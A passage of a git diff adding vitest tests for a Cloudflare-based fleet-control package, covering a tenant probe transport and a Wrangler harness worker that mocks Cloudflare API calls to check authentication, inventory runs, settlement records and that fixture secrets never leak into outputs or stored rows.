+      if (directory) await rm(directory, { recursive: true, force: true });
+    }
+  }, 30_000);
+  it('shares actual HTTP counts without counting the data probe', async () => {
+    const response = await server.getWorker().fetch('https://fixture.test');
+    expect(response.status).toBe(200);
+    expect(await response.json()).toMatchObject({
+      calls: 10,
+      metrics: {
+        providerAttempts: 5,
+        maintenanceAttempts: 4,
+        failure: 'attempts',
+      },
+    });
+  });
+  it('aborts a maintenance body after headers', async () => {
+    const response = await server
+      .getWorker()
+      .fetch('https://fixture.test?mode=body');
+    expect(response.status).toBe(200);
+    expect(await response.json()).toMatchObject({
+      calls: 1,
+      aborted: true,
+      metrics: { maintenanceAttempts: 1, failure: null },
+    });
+  });
+});
+
+describe('fixed tenant probe transport', () => {
+  const manifest = directFixtureManifest();
+  const secrets = generateDirectDeploymentSecrets();
+  const spec = directDeploymentSpec(
+    manifest,
+    'a',
+    'initial',
+    secrets,
+    DIRECT_FIXTURE_PROVIDER,
+  );
+  const record: FleetRecord = {
+    tenantTag: spec.tenantTag,
+    environment: spec.environment,
+    backend: 'plain-worker',
+    scriptName: spec.scriptName,
+    databaseId: 'fixture-database',
+    databaseName: spec.databaseName,
+    schemaVersion: spec.schemaVersion,
+    desiredSpecDigest: deploymentSpecDigest(spec),
+    artifactVersion: 'fixture-version',
+    durableObjectBindings: [],
+    routeHostname: spec.routeHostname,
+    phase: 'ready',
+    updatedAt: '2026-09-10T00:00:00.000Z',
+  };
+  function probe(
+    response: Response,
+    options: Partial<DirectReferenceTransportOptions> = {},
+  ) {
+    const state = fixture(options);
+    state.nativeFetch.mockResolvedValue(response);
+    const context: Parameters<typeof probeDirectTenant>[0] = {
+      transport: state.transport,
+      control: { getDeployment: async () => record },
+      roleFor: () => 'a',
+      specFor: () => spec,
+      secrets: () => secrets,
+    };
+    return {
+      ...state,
+      context,
+      run: (
+        operation: 'health' | 'object-put' | 'object-read' | 'object-delete',
+      ) =>
+        probeDirectTenant(
+          context,
+          manifest,
+          { kind: 'tenant-probe', role: 'a', operation },
+          state.abort.signal,
+        ),
+    };
+  }
+  it.each([
+    {
+      operation: 'health' as const,
+      facts: { release: '1', marker: 'initial' },
+    },
+    { operation: 'health' as const, facts: { release: '2', marker: null } },
+    { operation: 'object-read' as const, facts: { present: false } },
+    {
+      operation: 'object-read' as const,
+      facts: { present: true, size: 29, sha256: 'a'.repeat(64) },
+    },
+  ])('projects bounded $operation facts without exposing its token', async ({
+    operation,
+    facts,
+  }) => {
+    const state = probe(Response.json(facts));
+    const result = await state.run(operation);
+    expect(result).toEqual({ role: 'a', operation, ...facts });
+    expect(JSON.stringify(result)).not.toContain(
+      secrets.application?.APP_PROBE_TOKEN,
+    );
+    const input = state.nativeFetch.mock.calls[0]?.[0];
+    if (!(input instanceof Request)) throw new Error('missing probe request');
+    expect(input.url).toBe(
+      `https://${spec.routeHostname}/__direct/${operation === 'health' ? 'health' : 'object'}`,
+    );
+    expect(input.method).toBe('GET');
+    expect(input.headers.get('authorization')).toBe(
+      `Bearer ${secrets.application?.APP_PROBE_TOKEN}`,
+    );
+    expect(state.transport.snapshot()).toMatchObject({
+      providerAttempts: 0,
+      maintenanceAttempts: 0,
+      applicationAttempts: 1,
+    });
+  });
+  it.each([
+    'object-put',
+    'object-delete',
+  ] as const)('uses the fixed %s request and empty acknowledgement', async (operation) => {
+    const state = probe(new Response(null, { status: 204 }));
+    expect(await state.run(operation)).toEqual({
+      role: 'a',
+      operation,
+      returned: true,
+    });
+    const input = state.nativeFetch.mock.calls[0]?.[0];
+    if (!(input instanceof Request)) throw new Error('missing probe request');
+    expect(input.method).toBe(operation === 'object-put' ? 'POST' : 'DELETE');
+    expect(input.body).toBeNull();
+    const incorrect = probe(Response.json({ returned: true }));
+    await expect(incorrect.run(operation)).rejects.toMatchObject({
+      code: 'operation-refused',
+    });
+    const unexpectedBytes = probe(
+      new Response(null, {
+        status: 204,
+        headers: { 'content-length': '1' },
+      }),
+    );
+    await expect(unexpectedBytes.run(operation)).rejects.toMatchObject({
+      code: 'operation-refused',
+    });
+  });
+  it.each([
+    () => Response.json({ release: 1, marker: 'initial' }),
+    () =>
+      Response.json({
+        release: '1',
+        marker: 'initial',
+        extra: 'private-sentinel',
+      }),
+    () => Response.json({ release: '1', marker: 'private-sentinel' }),
+    () =>
+      new Response('{', { headers: { 'content-type': 'application/json' } }),
+    () =>
+      new Response(new Uint8Array([255]), {
+        headers: { 'content-type': 'application/json' },
+      }),
+    () =>
+      new Response('x'.repeat(1025), {
+        headers: { 'content-type': 'application/json' },
+      }),
+    () => new Response('{}', { headers: { 'content-type': 'text/plain' } }),
+    () => Response.json({ secret: 'private-sentinel' }, { status: 503 }),
+  ])('refuses malformed or incomplete health responses %#', async (response) => {
+    const state = probe(response());
+    await expect(state.run('health')).rejects.toMatchObject({
+      message: 'operation-refused',
+    });
+  });
+  it.each([
+    { present: true },
+    { present: true, size: 0, sha256: 'a'.repeat(64) },
+    { present: true, size: 29, sha256: 'A'.repeat(64) },
+    { present: false, size: 0 },
+  ])('refuses malformed object observations %#', async (facts) => {
+    const state = probe(Response.json(facts));
+    await expect(state.run('object-read')).rejects.toMatchObject({
+      code: 'operation-refused',
+    });
+  });
+  it('requires the selected current record and retained token before dispatch', async () => {
+    const state = probe(Response.json({ release: '1', marker: 'initial' }));
+    state.context.control.getDeployment = async () => undefined;
+    await expect(state.run('health')).rejects.toMatchObject({
+      code: 'operation-refused',
+    });
+    state.context.control.getDeployment = async () => record;
+    vi.spyOn(state.context, 'secrets').mockReturnValue({
+      ...secrets,
+      application: {},
+    });
+    await expect(state.run('health')).rejects.toMatchObject({
+      code: 'operation-refused',
+    });
+    expect(state.nativeFetch).not.toHaveBeenCalled();
+  });
+  it('keeps timeout cancellation attached until the response body settles', async () => {
+    let cancelled = false;
+    let release: (() => void) | undefined;
+    const cancellation = new Promise<void>((resolve) => {
+      release = resolve;
+    });
+    const body = new ReadableStream<Uint8Array>({
+      cancel() {
+        cancelled = true;
+        return cancellation;
+      },
+    });
+    const state = probe(
+      new Response(body, { headers: { 'content-type': 'application/json' } }),
+      {
+        runtime: { ...runtime, requestTimeoutMs: 15 },
+      },
+    );
+    let settled = false;
+    const pending = state.run('health').then(
+      (result) => {
+        settled = true;
+        return { result };
+      },
+      (error: unknown) => {
+        settled = true;
+        return { error };
+      },
+    );
+    try {
+      await vi.waitFor(() => expect(cancelled).toBe(true));
+      expect(settled).toBe(false);
+    } finally {
+      release?.();
+    }
+    expect(await pending).toHaveProperty('error');
+    expect(state.transport.snapshot().applicationAttempts).toBe(1);
+  });
+});
diff --git a/packages/fleet-control/test/direct-reference-worker.harness.test.ts b/packages/fleet-control/test/direct-reference-worker.harness.test.ts
new file mode 100644
index 00000000..8fe45e12
--- /dev/null
+++ b/packages/fleet-control/test/direct-reference-worker.harness.test.ts
@@ -0,0 +1,683 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { mkdtemp, rm, writeFile } from 'node:fs/promises';
+import { tmpdir } from 'node:os';
+import { join } from 'node:path';
+import { fileURLToPath } from 'node:url';
+import type { D1Database } from '@cloudflare/workers-types';
+import { afterAll, beforeAll, describe, expect, it } from 'vitest';
+import { createTestHarness, type TestHarness } from 'wrangler';
+import { DIRECT_REFERENCE_PATH } from '../scripts/direct-reference-contract.mjs';
+import { directFixtureManifest } from './fixtures/direct-credentialed-config.js';
+
+const manifest = directFixtureManifest();
+const fleetDatabaseId = '00000000-0000-0000-0000-000000000001';
+const quotaDatabaseId = '00000000-0000-0000-0000-000000000002';
+const binding = {
+  version: 1,
+  accountId: 'account',
+  fleetDatabaseId,
+  quotaDatabaseId,
+  exportBucketName: manifest.names.exportBucket,
+  referenceModuleSetSha256: 'b'.repeat(64),
+  accountWorkersDevSubdomain: 'direct-fixture',
+};
+const secrets = Object.fromEntries(
+  ['a', 'b', 'recovery'].map((role) => [
+    role,
+    {
+      deploymentIdentity: `identity-${role}`.padEnd(40, 'x'),
+      maintenanceAdmin: `maintenance-${role}`.padEnd(40, 'y'),
+      application: { APP_PROBE_TOKEN: `probe-${role}`.padEnd(40, 'z') },
+    },
+  ]),
+);
+
+describe.sequential('real direct reference context and inventory', {
+  timeout: 30_000,
+}, () => {
+  let directory: string;
+  let server: TestHarness;
+  let db: D1Database;
+  let reload: () => Promise<void>;
+  beforeAll(async () => {
+    directory = await mkdtemp(join(tmpdir(), 'direct-reference-'));
+    const main = join(directory, 'worker.ts');
+    const source = (path: string) =>
+      JSON.stringify(fileURLToPath(new URL(path, import.meta.url)));
+    await writeFile(
+      main,
+      `
+import {createDirectReferenceWorker} from ${source('../scripts/direct-reference-worker.ts')};
+import {createDirectReferenceContext} from ${source('../scripts/direct-reference-context.ts')};
+import {DirectReferenceTransport} from ${source('../scripts/direct-reference-transport.ts')};
+import {recordDirectResource,directSettlementHost} from ${source('../scripts/direct-reference-observations.ts')};
+import {fleetSettlementKey} from ${source('../src/settlement.ts')};
+import {deploymentSpecDigest} from ${source('../src/spec-digest.ts')};
+const manifest=${JSON.stringify(manifest)};
+const binding=${JSON.stringify(binding)};
+const secretMap=${JSON.stringify(secrets)};
+function single(result){return Response.json({success:true,errors:[],messages:[],result});}
+function page(result){return single(result);}
+let instance;
+export default {async fetch(request,env){
+  instance??=crypto.randomUUID();
+  const mode=new URL(request.url).searchParams.get('mode');const calls=[];
+  const provider=async(input,init)=>{
+    const req=new Request(input,init),url=new URL(req.url);
+    if(url.href==='data:,')return new Response('');
+    if(req.method!=='GET'||url.origin!=='https://api.cloudflare.com'||!url.pathname.startsWith('/client/v4/'))throw new Error('unexpected fixture dispatch');
+    const path=url.pathname.slice('/client/v4'.length);
+    calls.push({path,page:url.searchParams.get('page'),jurisdiction:req.headers.get('cf-r2-jurisdiction')});
+    if(path==='/accounts/account/tokens/verify'||path==='/user/tokens/verify')return single({id:'token-id',status:'active'});
+    if(path==='/accounts/account/tokens/token-id')return single({id:'token-id',status:'active',policies:[{id:'zone-authority',effect:'allow',permission_groups:[{id:'zone-read',name:'Zone Read'},{id:'routes-read',name:'Workers Routes Read'},{id:'routes-write',name:'Workers Routes Write'}],resources:{'com.cloudflare.api.account.account':{'com.cloudflare.api.account.zone.*':'*'}}}]});
+    if(path==='/zones'){if(url.searchParams.get('account.id')!=='account')throw new Error('wrong zone account');return page([]);}
+    if(path==='/accounts/account/workers/domains'||path==='/accounts/account/workers/scripts'||path==='/accounts/account/workers/durable_objects/namespaces')return page([]);
+    if(path==='/accounts/account/d1/database'){
+      const ordinal=Number(url.searchParams.get('page')??1);
+      return page(ordinal===1?[{uuid:'db-a',name:manifest.names.roles.a.databaseName},{uuid:'manager-db',name:manifest.names.fleetDatabase}]:ordinal===2?[{uuid:'db-b',name:manifest.names.roles.b.databaseName}]:[]);
+    }
+    if(path==='/accounts/account/r2/buckets')return single({buckets:[]});
+    throw new Error('unhandled fixture dispatch');
+  };
+  let current={...env,CLOUDFLARE_API_TOKEN:'inert-reference-token',FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET:'test-invoke',DIRECT_RUN_BINDING:JSON.stringify(binding),DIRECT_DEPLOYMENT_SECRETS:JSON.stringify(secretMap)};
+  if(mode==='bad-json')current.DIRECT_RUN_BINDING='{';
+  if(mode==='wrong-account')current.DIRECT_RUN_BINDING=JSON.stringify({...binding,accountId:'other'});
+  if(mode==='same-database')current.DIRECT_RUN_BINDING=JSON.stringify({...binding,quotaDatabaseId:binding.fleetDatabaseId});
+  if(mode==='wrong-secrets')current.DIRECT_DEPLOYMENT_SECRETS=JSON.stringify({...secretMap,a:{...secretMap.a,maintenanceAdmin:'different-maintenance'.padEnd(40,'x')}});
+  if(mode==='bad-secrets')current.DIRECT_DEPLOYMENT_SECRETS=JSON.stringify({...secretMap,a:{application:{APP_PROBE_TOKEN:'invalid'}}});
+  if(mode==='auth-probe')current=new Proxy(current,{get(target,key){if(key==='FLEET_DB'||key==='QUOTA_DB'||key==='EXPORTS')throw new Error('binding touched before authentication');return Reflect.get(target,key);}});
+  if(mode==='deadline'){
+    let count=0,ended=false,observedFailure=null;const oldNow=performance.now,oldSnapshot=DirectReferenceTransport.prototype.snapshot;
+    Object.defineProperty(performance,'now',{configurable:true,value:()=>ended?1001:(count++===0?0:10)});
+    DirectReferenceTransport.prototype.snapshot=function(){ended=true;const value=oldSnapshot.call(this);observedFailure=value.failure;return value;};
+    try{const worker=createDirectReferenceWorker({...manifest,referenceRuntime:{...manifest.referenceRuntime,invocationTimeoutMs:1000}},{fetch:provider});const response=await worker.fetch(request,current);return Response.json({status:response.status,observedFailure,body:await response.json(),providerCalls:calls.length});}
+    finally{Object.defineProperty(performance,'now',{configurable:true,value:oldNow});DirectReferenceTransport.prototype.snapshot=oldSnapshot;}
+  }
+  if(mode==='residual-claims'){
+    const context=await createDirectReferenceContext(manifest,current,{startedAt:performance.now(),signal:request.signal,fetch:provider});
+    return Response.json({sameSet:await context.recoveryClaimSetPresent(),exact:await context.recoveryResidualClaimsPresent('witness-script',["witness-'bucket"]),emptyBuckets:await context.recoveryResidualClaimsPresent('witness-script',[]),providerCalls:calls.length});
+  }
+  if(mode==='observations'){
+    const context=await createDirectReferenceContext(manifest,current,{startedAt:performance.now(),signal:request.signal,fetch:provider});
+    const spec=context.spec('a','initial'),digest=deploymentSpecDigest(spec);
+    const record={tenantTag:spec.tenantTag,environment:spec.environment,backend:'plain-worker',scriptName:spec.scriptName,databaseId:'resource-db-one',databaseName:spec.databaseName,schemaVersion:1,artifactVersion:'resource-version-one',desiredSpecDigest:digest,routeHostname:spec.routeHostname,phase:'ready',updatedAt:'2026-09-10T00:00:00Z',durableObjectBindings:[{name:'Runner',className:'Runner',namespaceId:'namespace-runner'},{name:'Maintenance',className:'Maintenance',namespaceId:'namespace-maintenance'}],applicationResources:[{name:'B',bucketName:'fixture-b',jurisdiction:'default',reservationNonce:'nonce-b',creationDate:'2026-09-10T00:00:00Z',state:'created'},{name:'A',bucketName:'fixture-a',jurisdiction:'eu',reservationNonce:'nonce-a',state:'reserved'}],applicationBindings:{vars:[{name:'PRIVATE_VALUE',value:secretMap.a.application.APP_PROBE_TOKEN}],secrets:[],r2Buckets:[]}};
+    const resource=await recordDirectResource(context,record,'provision-read');
+    const repeated=await recordDirectResource(context,{...record,phase:'decommissioning',updatedAt:'2026-09-11T00:00:00Z',durableObjectBindings:[...record.durableObjectBindings].reverse(),applicationResources:[...record.applicationResources].reverse().map(r=>({...r,state:'detached'}))},'migration-read');
+    const second=await recordDirectResource(context,{...record,databaseId:'resource-db-two'},'provision-read');
+    const reserved=await recordDirectResource(context,{...record,phase:'database-create-authorized',databaseId:'reserved-'+digest.slice(0,48),artifactVersion:'pending',durableObjectBindings:[],applicationResources:[]},'provision-read');
+    const target={physicalScriptName:record.scriptName,specDigest:digest,artifactVersion:record.artifactVersion,releaseSchemaVersion:1,application:record.applicationBindings};
+    const attestation={physicalScriptName:target.physicalScriptName,specDigest:digest,artifactVersion:target.artifactVersion,source:'workers-deployments',observedAt:'2026-09-10T00:00:00Z'};
+    const key=fleetSettlementKey({...record,specDigest:digest});
+    const settlement={tenantTag:record.tenantTag,environment:record.environment,target,attestation,settlementKey:key,entry:'migration',alreadySettled:true};
+    const host=directSettlementHost(context,record);
+    await host.settle(settlement);
+    await host.settle({...settlement,entry:'rollback',alreadySettled:false,attestation:{...attestation,observedAt:'2026-09-11T00:00:00Z'}});
+    const rejected=[];
+    for(const change of [{tenantTag:'foreign'},{environment:'foreign'},{settlementKey:'f'.repeat(64)},{target:{...target,physicalScriptName:'foreign'}},{target:{...target,specDigest:'f'.repeat(64)}},{target:{...target,artifactVersion:'pending'}},{attestation:{...attestation,artifactVersion:'foreign'}}]){
+      try{await host.settle({...settlement,...change});rejected.push(false);}catch{rejected.push(true);}
+    }
+    let writeFailure=false;const remember=context.journal.recordSettlement;
+    context.journal.recordSettlement=async()=>{throw new Error('injected native producer write failure');};
+    try{await host.settle(settlement);}catch{writeFailure=true;}finally{context.journal.recordSettlement=remember;}
+    const reloaded=await createDirectReferenceContext(manifest,current,{startedAt:performance.now(),signal:request.signal,fetch:provider});
+    return Response.json({resource,repeated,second,reserved,settlement:await reloaded.journal.readSettlement(key),reloadedResource:await reloaded.journal.readResource('a',resource.identitySha256),rejected,writeFailure,providerCalls:calls.length});
+  }
+  if(mode==='recipes'||mode==='release-pin'||mode==='prune'){
+    const context=await createDirectReferenceContext(manifest,current,{startedAt:performance.now(),signal:request.signal,fetch:provider});
+    if(mode==='recipes'){
+      const initial=context.spec('a','initial'),next=context.spec('a','next');
+      const record={tenantTag:initial.tenantTag,environment:initial.environment,backend:'plain-worker',scriptName:initial.scriptName,databaseId:'db-a',databaseName:initial.databaseName,schemaVersion:1,artifactVersion:'version-1',desiredSpecDigest:deploymentSpecDigest(initial),durableObjectBindings:[],routeHostname:initial.routeHostname,phase:'ready',updatedAt:new Date().toISOString()};
+      const activeRelease={physicalScriptName:record.scriptName,specDigest:record.desiredSpecDigest,artifactVersion:record.artifactVersion,releaseSchemaVersion:initial.schemaVersion};
+      const migrating={...record,phase:'migrating',schemaVersion:next.schemaVersion,pendingSpecDigest:deploymentSpecDigest(next),activeRelease};
+      const pendingRelease={physicalScriptName:record.scriptName,specDigest:deploymentSpecDigest(next),artifactVersion:'version-2',releaseSchemaVersion:next.schemaVersion};
+      const teardown={...record,phase:'decommissioning',desiredSpecDigest:deploymentSpecDigest(next),activeRelease,pendingRelease};
+      const resource=await recordDirectResource(context,teardown,'teardown-read');
+      const rejected=[];
+      for(const change of [{activeRelease:{...activeRelease,physicalScriptName:'foreign'}},{activeRelease:{...activeRelease,specDigest:'f'.repeat(64)}},{activeRelease:{...activeRelease,releaseSchemaVersion:99}},{activeRelease:{...activeRelease,artifactVersion:'pending'}},{activeRelease:{...activeRelease,artifactVersion:'foreign'}},{activeRelease:{...activeRelease,topology:{}}},{migrationPriorRelease:activeRelease},{migrationIntent:{}},{phase:'ready'}]){
+        try{context.specFor({...migrating,...change});rejected.push(false);}catch{rejected.push(true);}
+      }
+      return Response.json({initial:deploymentSpecDigest(initial),next:deploymentSpecDigest(next),selectedInitial:deploymentSpecDigest(context.specFor(record)),selectedNext:deploymentSpecDigest(context.specFor(migrating)),selectedTeardown:deploymentSpecDigest(context.specFor(teardown)),knownVersionIds:JSON.parse(resource.identityJson).knownVersionIds,rejected,providerCalls:calls.length});
+    }
+    if(mode==='release-pin'){
+      const slot=await context.journal.readOperation('inventory-before');const run=await context.inventoryStore.readRunByOperation(slot.operationId);
+      await context.inventoryStore.releasePin({generation:run.progress.generation,pinnedBy:'direct-reference:'+manifest.resourcePrefix+':inventory-before'});
+    }else return Response.json({ok:true,result:await context.control.pruneInventoryGenerations({limit:10})});
+    return Response.json({ok:true});
+  }
+  const worker=createDirectReferenceWorker(manifest,{fetch:provider});
+  const response=await worker.fetch(request,current);
+  response.headers.set('X-Fixture-Calls',JSON.stringify(calls));response.headers.set('X-Fixture-Instance',instance);return response;
+}};`,
+    );
+    const options = {
+      root: directory,
+      workers: [
+        {
+          config: {
+            name: 'direct-reference-harness',
+            main,
+            compatibility_date: '2026-08-06',
+            compatibility_flags: [
+              'nodejs_compat',
+              'global_fetch_strictly_public',
+            ],
+            d1_databases: [
+              {
+                binding: 'FLEET_DB',
+                database_name: 'reference-fleet',
+                database_id: fleetDatabaseId,
+              },
+              {
+                binding: 'QUOTA_DB',
+                database_name: 'reference-quota',
+                database_id: quotaDatabaseId,
+              },
+            ],
+            r2_buckets: [
+              { binding: 'EXPORTS', bucket_name: manifest.names.exportBucket },
+            ],
+          },
+        },
+      ],
+    };
+    server = createTestHarness(options);
+    reload = () =>
+      server.update({
+        ...options,
+        workers: options.workers.map((worker) => ({
+          ...worker,
+          config: { ...worker.config, vars: { TEST_RELOAD: 'reloaded' } },
+        })),
+      });
+    await server.listen();
+    db = (await server.getWorker<{ FLEET_DB: D1Database }>().getEnv()).FLEET_DB;
+    const response = await call({ kind: 'control-read' });
+    expect(response.status).toBe(200);
+  }, 30_000);
+  afterAll(async () => {
+    try {
+      await server?.close();
+    } finally {
+      if (directory) await rm(directory, { recursive: true, force: true });
+    }
+  }, 30_000);
+
+  function call(
+    action: unknown,
+    mode = '',
+    authorization = 'Bearer test-invoke',
+  ) {
+    return server
+      .getWorker()
+      .fetch(`https://reference.test${DIRECT_REFERENCE_PATH}?mode=${mode}`, {
+        method: 'POST',
+        headers: { authorization },
+        body: JSON.stringify({
+          contractVersion: 1,
+          configSha256: manifest.configSha256,
+          action,
+        }),
+      });
+  }
+
+  it('authenticates before binding access', async () => {
+    const response = await call(
+      { kind: 'control-read' },
+      'auth-probe',
+      'Bearer wrong',
+    );
+    expect(response.status).toBe(401);
+    expect(response.headers.get('X-Fixture-Calls')).toBe('[]');
+  });
+
+  it('checks the fixed recovery set and exact witness keys across claim owners', async () => {
+    const recoverySet = `deployment:${manifest.names.roles.recovery.tenantTag}:${manifest.environment}`;
+    const cases = [
+      [
+        'account',
+        'worker-script',
+        'unrelated-script',
+        recoverySet,
+        true,
+        true,
+        true,
+      ],
+      [
+        'account',
+        'worker-script',
+        'witness-script',
+        'foreign-set',
+        false,
+        true,
+        true,
+      ],
+      [
+        'account',
+        'r2-bucket',
+        "witness-'bucket",
+        'foreign-set',
+        false,
+        true,
+        false,
+      ],
+      [
+        'account',
+        'worker-script',
+        'witness-script-extra',
+        'foreign-set',
+        false,
+        false,
+        false,
+      ],
+      [
+        'account',
+        'r2-bucket',
+        "witness-'bucket-extra",
+        'foreign-set',
+        false,
+        false,
+        false,
+      ],
+      [
+        'another-account',
+        'worker-script',
+        'witness-script',
+        recoverySet,
+        false,
+        false,
+        false,
+      ],
+      [
+        'another-account',
+        'r2-bucket',
+        "witness-'bucket",
+        recoverySet,
+        false,
+        false,
+        false,
+      ],
+    ] as const;
+    for (const [
+      account,
+      type,
+      name,
+      set,
+      sameSet,
+      exact,
+      emptyBuckets,
+    ] of cases) {
+      await db
+        .prepare(
+          'INSERT INTO anchorage_platform_plane_claims(account_id,resource_type,resource_name,resource_role,resource_set_key,platform_plane_identity) VALUES(?,?,?,?,?,?)',
+        )
+        .bind(
+          account,
+          type,
+          name,
+          type === 'r2-bucket' ? 'deployment-r2' : 'deployment-worker',
+          set,
+          'foreign-owner',
+        )
+        .run();
+      try {
+        const response = await call(
+          { kind: 'control-read' },
+          'residual-claims',
+        );
+        expect(response.status).toBe(200);
+        expect(await response.json()).toEqual({
+          sameSet,
+          exact,
+          emptyBuckets,
+          providerCalls: 0,
+        });
+      } finally {
+        await db
+          .prepare(
+            'DELETE FROM anchorage_platform_plane_claims WHERE account_id=? AND resource_type=? AND resource_name=?',
+          )
+          .bind(account, type, name)
+          .run();
+      }
+    }
+    expect(
+      await (await call({ kind: 'control-read' }, 'residual-claims')).json(),
+    ).toEqual({
+      sameSet: false,
+      exact: false,
+      emptyBuckets: false,
+      providerCalls: 0,
+    });
+  });
+
+  it('retains resource and settlement identities through real context producers', async () => {
+    const response = await call({ kind: 'control-read' }, 'observations');
+    expect(response.status).toBe(200);
+    const body = await response.text();
+    const value = JSON.parse(body);
+    expect(value.repeated).toEqual(value.resource);
+    expect(value.reloadedResource).toEqual(value.resource);
+    expect(value.second.identitySha256).not.toBe(value.resource.identitySha256);
+    const identity = JSON.parse(value.resource.identityJson);
+    expect(identity.database).toEqual({
+      name: manifest.names.roles.a.databaseName,
+      id: 'resource-db-one',
+    });
+    expect(identity.knownVersionIds).toEqual(['resource-version-one']);
+    expect(
+      identity.localNamespaces.map((item: { name: string }) => item.name),
+    ).toEqual(['Maintenance', 'Runner']);
+    expect(
+      identity.applicationBuckets.map((item: { name: string }) => item.name),
+    ).toEqual(['A', 'B']);
+    expect(identity.applicationBuckets[0].creationDate).toBeNull();
+    expect(JSON.parse(value.reserved.identityJson)).toMatchObject({
+      database: { id: null },
+      knownVersionIds: [],
+    });
+    expect(JSON.parse(value.reserved.provenanceJson).databaseState).toBe(
+      'create-outcome-unresolved',
+    );
+    expect(JSON.parse(value.settlement.provenanceJson)).toEqual({
+      entry: 'migration',
+      alreadySettled: true,
+      observedAt: '2026-09-10T00:00:00Z',
+    });
+    expect(value.rejected).toEqual(Array(7).fill(true));
+    expect(value.writeFailure).toBe(true);
+    expect(value.providerCalls).toBe(0);
+    for (const role of Object.values(secrets)) {
+      for (const secret of [
+        role.deploymentIdentity,
+        role.maintenanceAdmin,
+        role.application.APP_PROBE_TOKEN,
+      ])
+        expect(body).not.toContain(secret);
+    }
+    expect(JSON.parse(value.settlement.identityJson).target).not.toHaveProperty(
+      'application',
+    );
+  });
+
+  it('refuses success after the final metrics observe deadline expiry', async () => {
+    const response = await call({ kind: 'control-read' }, 'deadline');
+    expect(await response.json()).toMatchObject({
+      status: 504,
+      observedFailure: 'deadline',
+      providerCalls: 0,
+      body: { ok: false, error: { code: 'invocation-timeout' } },
+    });
+  });
+
+  it('reports a missing or unfinished inventory prerequisite without creating the after slot', async () => {
+    for (const pending of [false, true]) {
+      if (pending) {
+        const before = await call({
+          kind: 'inventory-start',
+          slot: 'inventory-before',
+        });
+        expect((await before.json()) as unknown).toMatchObject({
+          ok: true,
+          result: { status: 'pending' },
+        });
+      }
+      const response = await call({
+        kind: 'inventory-start',
+        slot: 'inventory-after',
+      });
+      expect(response.status).toBe(409);
+      expect(await response.json()).toMatchObject({
+        ok: false,
+        error: { code: 'prerequisite-unavailable' },
+      });
+      expect(response.headers.get('X-Fixture-Calls')).toBe('[]');
+      const control = await call({ kind: 'control-read' });
+      const value = (await control.json()) as {
+        result: { operations: { slot: string }[] };
+      };
+      expect(
+        value.result.operations.some(
+          (operation) => operation.slot === 'inventory-after',
+        ),
+      ).toBe(false);
+    }
+  });
+
+  it.each([
+    ['bad-json', 'operation-refused'],
+    ['same-database', 'operation-refused'],
+    ['bad-secrets', 'operation-refused'],
+    ['wrong-account', 'run-binding-mismatch'],
+    ['wrong-secrets', 'run-binding-mismatch'],
+  ])('refuses %s without provider work', async (mode, code) => {
+    const response = await call({ kind: 'control-read' }, mode);
+    expect(response.status).toBe(409);
+    expect(await response.json()).toMatchObject({ ok: false, error: { code } });
+    expect(response.headers.get('X-Fixture-Calls')).toBe('[]');
+  });
+
+  it('retains a secret fingerprint rather than plaintext in native D1', async () => {
+    const row = await db
+      .prepare('SELECT binding_json FROM direct_reference_run WHERE run_key=?')
+      .bind(manifest.resourcePrefix)
+      .first<string>('binding_json');
+    expect(row).toBeTruthy();
+    expect(row).toContain('tenantSecretsSha256');
+    for (const role of Object.values(secrets)) {
+      for (const value of [
+        role.deploymentIdentity,
+        role.maintenanceAdmin,
+        ...Object.values(role.application),
+      ])
+        expect(row).not.toContain(value);
+    }
+    expect(row).not.toContain('inert-reference-token');
+  });
+
+  it('selects retained initial and pending-target recipes without provider work', async () => {
+    const response = await call({ kind: 'control-read' }, 'recipes');
+    const value = (await response.json()) as {
+      initial: string;
+      next: string;
+      selectedInitial: string;
+      selectedNext: string;
+      selectedTeardown: string;
+      knownVersionIds: string[];
+      rejected: boolean[];
+      providerCalls: number;
+    };
+    expect(value.initial).not.toBe(value.next);
+    expect(value.selectedInitial).toBe(value.initial);
+    expect(value.selectedNext).toBe(value.next);
+    expect(value.selectedTeardown).toBe(value.next);
+    expect(value.knownVersionIds).toEqual(['version-1', 'version-2']);
+    expect(value.rejected).toEqual(Array(9).fill(true));
+    expect(value.providerCalls).toBe(0);
+  });
+
+  it('refuses missing selected generations instead of substituting latest', async () => {
+    const response = await call({
+      kind: 'inventory-read',
+      slot: 'inventory-before',
+    });
+    expect(response.status).toBe(409);
+    expect(response.headers.get('X-Fixture-Calls')).toBe('[]');
+  });
+
+  it('runs real multi-request inventories and retains the selected before generation', async () => {
+    const observations: {
+      path: string;
+      page: string | null;
+      jurisdiction: string | null;
+    }[] = [];
+    async function drain(slot: 'inventory-before' | 'inventory-after') {
+      let response = await call({ kind: 'inventory-start', slot });
+      let value = (await response.json()) as {
+        ok: boolean;
+        result: {
+          status: string;
+          token: { version: number; operationId: string; revision: number };
+          generation?: { generation: number };
+        };
+      };
+      expect(
+        value.ok,
+        JSON.stringify({
+          value,
+          calls: response.headers.get('X-Fixture-Calls'),
+        }),
+      ).toBe(true);
+      let calls = 1;
+      while (value.result.status === 'pending' && calls < 40) {
+        const old = value.result.token;
+        response = await call({ kind: 'inventory-continue', slot });
+        observations.push(
+          ...JSON.parse(response.headers.get('X-Fixture-Calls') ?? '[]'),
+        );
+        value = (await response.json()) as typeof value;
+        expect(
+          value.ok,
+          JSON.stringify({
+            value,
+            calls: response.headers.get('X-Fixture-Calls'),
+          }),
+        ).toBe(true);
+        calls++;
+        if (calls === 2) {
+          const replay = await call({
+            kind: 'inventory-continue',
+            slot,
+            token: old,
+          });
+          expect(replay.status).toBe(200);
+          expect(replay.headers.get('X-Fixture-Calls')).toBe('[]');
+          expect(((await replay.json()) as typeof value).result.token).toEqual(
+            value.result.token,
+          );
+          for (const token of [
+            null,
+            { ...old, operationId: 'foreign' },
+            {
+              ...value.result.token,
+              revision: value.result.token.revision + 100,
+            },
+          ]) {
+            const refused = await call({
+              kind: 'inventory-continue',
+              slot,
+              token,
+            });
+            expect(refused.status).toBeGreaterThanOrEqual(400);
+            expect(refused.headers.get('X-Fixture-Calls')).toBe('[]');
+          }
+        }
+      }
+      expect(calls).toBeGreaterThan(2);
+      expect(value.result.status).toBe('complete');
+      return value.result.generation?.generation;
+    }
+    const before = await drain('inventory-before');
+    const beforeRead = await call({
+      kind: 'inventory-read',
+      slot: 'inventory-before',
+    });
+    expect(await beforeRead.json()).toMatchObject({
+      ok: true,
+      result: {
+        generation: before,
+        inventory: { databaseIds: ['db-a', 'db-b'] },
+      },
+    });
